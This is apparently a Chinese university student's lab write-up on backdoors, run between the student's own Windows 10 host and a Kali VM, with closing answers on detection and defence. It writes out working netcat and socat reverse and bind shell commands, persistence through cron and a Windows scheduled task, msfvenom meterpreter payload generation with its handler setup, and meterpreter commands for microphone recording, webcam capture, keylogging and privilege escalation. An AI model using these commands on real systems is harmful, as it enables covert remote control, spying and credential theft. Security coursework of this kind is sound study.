Exp2 後門原理與實踐 20164311

 

實驗一：使用netcat獲取主機操做Shell，cron啓動

 1.Windows得到Linux Shell

（1）打開本機win10的cmd.exe，使用命令 ipconfig 查看win10的IP地址。

（2）並用命令 ncat.exe -l -p 4311 監聽本機的4311端口，等待

（3）啓動虛擬機，在kali上面打開一個終端，並輸入 nc 192.168.1.108 4311 -e /bin/sh 鏈接win10。

（4）win10得到linux的shell，可執行linux指令，好比ls。

2.Linux得到Windows Shell

（1）與上面第一個步驟相似，惟一須要注意的地方是指令改爲 ifconfig 以此來查詢IP地址，並監聽4311端口。

（2）win10使用 ncat.exe -e cmd.exe 192.168.215.128 4311 （須要注意的是在使用該指令以前，要進入ncat文件夾所在的目錄）

（3）同理，在Linux下可使用win10中的指令

3.nc傳輸數據

（1）win10監聽本地4311端口 ncat.exe -l 4311 ，再用kali鏈接該win10端口 nc 192.168.1.108 4311 ,而後從任意一方輸入的字符串都能同時在win10方和Linux方顯示。

4.nc定時啓動

此時須要用到Crontab指令，該指令是用來定時執行腳本用的。

（1）win10使用命令 ncat.exe -l -p 4311 監聽本地的4311端口

（2）Crontab指令增長一條定時任務，並在提示編輯器的頁面中選擇咱們熟悉的vi編輯器，點擊i進入編輯模式。由於我操做的時間是5分這樣，因此就把其設定爲每小時的第6分鐘執行指令，這樣就能夠較快的執行這段指令。

（3）使用指令 crontab -l 查看並覈對其所配置的指令的正確性，確認完畢，在第6分鐘，win10得到了Linux的shell，能夠執行Linux的相關命令。

---

實驗二：使用socat獲取主機操做Shell, 任務計劃啓動 

（1）在Windows系統下，打開：控制面板->系統和安全->管理工具->任務計劃程序，在操做選項（菜單欄）中，選擇「建立任務」，填寫任務名稱011，以後，新建觸發器，選擇開始任務時間爲：工做站鎖定時

（2）新建操做，選擇啓動的程序爲socat.exe，參數項填爲：tcp-listen:4311 exec:cmd.exe,pty.stderr。這一段話的意思是把cmd綁定到端口號上，再把cmd.exe的stderr重定向到stdout上。

（3）操做完成後，將主機鎖屏，激活啓動程序，並打開正在運行任務的查看窗口，再次確認是否運行。

（4）在kali終端輸入指令 socat -tcp:192.168.1.108:4311 ，此時得到了win10的shell

 

---

任務三：使用MSF meterpreter（或其餘軟件）生成可執行文件，利用ncat或socat傳送到主機並運行獲取主機Shell

（1）輸入指令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.215.128 LPORT=4311 -f exe > 011_backdoor.exe 

（2）使用指令將生成的後門程序傳送到win10主機上，首先win10要調到準備接收的狀態 ncat.exe -lv 4311 > 011_backdoor.exe ，而後再在kali上輸入相關命令進行傳輸（注意在此以前須要安裝如下ncat指令） ncat -nv 192.168.1.108 4311 < 011_backdoor.exe 

 

 

（3）在kali上輸入命令 msfconsole ，並進行相關配置

use exploit/multi/handler　　　　　　　　　　　　　　

set payload windows/meterpreter/reverse_tcp　　　//設置載荷，字面意思應該是基於TCP的反向鏈接反彈windows shell

show options　　　　　　　　　　　　　　　　　　　　　 //查看利用模塊的設置信息

set LHOST 192.168.215.128　　　　　　　　　　　　　　//接下來的兩個set是配置模塊的設置信息，這裏是設置kali的IP

set LPORT 4311　　　　　　　　　　　　　　　　　　　　//設置本主機的端口

show options　　　　　　　　　　　　　　　　　　　　　//再次查看一下options，確保設置正確

exploit　　　　　　　　　　　　　　　　　　　　　　　　//運行模塊

（4）在覺得一切都順利並啓動模塊的時候，發現TCP鏈接並無成功開啓，並且程序沒法運行，查詢了一下，我的認爲應該是在win10中沒法運行由Linux傳過來的x86架構的文件，隨後我在一開始的環節中輸入了以下指令 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.215.128 LPORT=4311 -f 　exe > 011_backdoor.exe ，並再次啓動模塊，啓動成功！

（5）能夠看到，Linux可使用win10的相關命令。

---

任務四： 使用MSF meterpreter（或其餘軟件）生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容，並嘗試提權

（1）在Linux中輸入 record_mic 命令截獲一段音頻

（2）使用命令 webcam_snap 指令使用攝像頭

（3）在linux中輸入命令 keyscan_star 指令記錄鍵盤輸入記錄並用 keyscan_dump 讀取鍵盤的輸入指令

（4）在linux中輸入 getuid 指令查看當前用戶，再輸入 getsystem 進行提權（須要注意的是：提權必須以管理員的身份運行後門程序）

 

---

 

基礎問題回答

(1)例舉你能想到的一個後門進入到你係統中的可能方式？

答：使用不安全的瀏覽器上網時，點開某個網頁會自動在後臺下載後門程序；下載不正規軟件是，後門程序和軟件捆綁被下載；經過u盤或者硬盤人爲植入。

(2)例舉你知道的後門如何啓動起來(win及linux)的方式？

答：win：經過命令行執行；在開機啓動項中，開機自動運行；雙擊程序運行。

       Linux：crontab定時執行腳本。

(3)Meterpreter有哪些給你影響深入的功能？

答:鍵盤的追蹤記錄。這個就意味着你全部使用電腦進行的鍵盤操做都會被記錄下來，甚至包括你的支付寶密碼以及銀行密碼。相比於照相功能和錄音功能，這個功能是能夠直接產生經濟損失的。

(4)如何發現本身有系統有沒有被安裝後門？

      答：首先是防火牆的開啓，在作實驗的過程當中能夠看到，在防火牆開啓的狀態下，後門程序是沒法運行的；安裝殺毒軟件，一樣在實驗中，開啓殺毒軟件能夠直接對傳入的後門程序進行識別，並看成木馬予以清除；可是因爲老師提到過免殺，因此我以爲還有必要時常查看任務管理器，對未知的程序進行甄別並判斷是否刪除。

---

 

實驗問題總結

本次實驗因爲一開始就關掉了殺軟以及防火牆，因此沒有遇到後門程序被查殺或者文件丟失形成的錯誤，但經過看羣裏的提問以及本身遇到的問題，我發現不少人包括有一個共性問題，就是系統不支持x86架構的後門程序，此時須要改爲64位的程序，具體操做就是在指令msfvenom -p windows後面打上/x64便可。其餘方面，因爲相較於實驗一，沒有那麼多底層邏輯的理解，對於監聽端口等簡單操做以前就有所掌握，而惟一沒據說過的反彈鏈接也是較爲簡單的。可是本實驗幾乎沒有可實踐在現實的餘地，由於只要有防火牆，後門程序便沒法運行，有殺軟，則傳來的後門程序將會被當作木馬查殺。因此比較期待下次的免殺相關的實驗。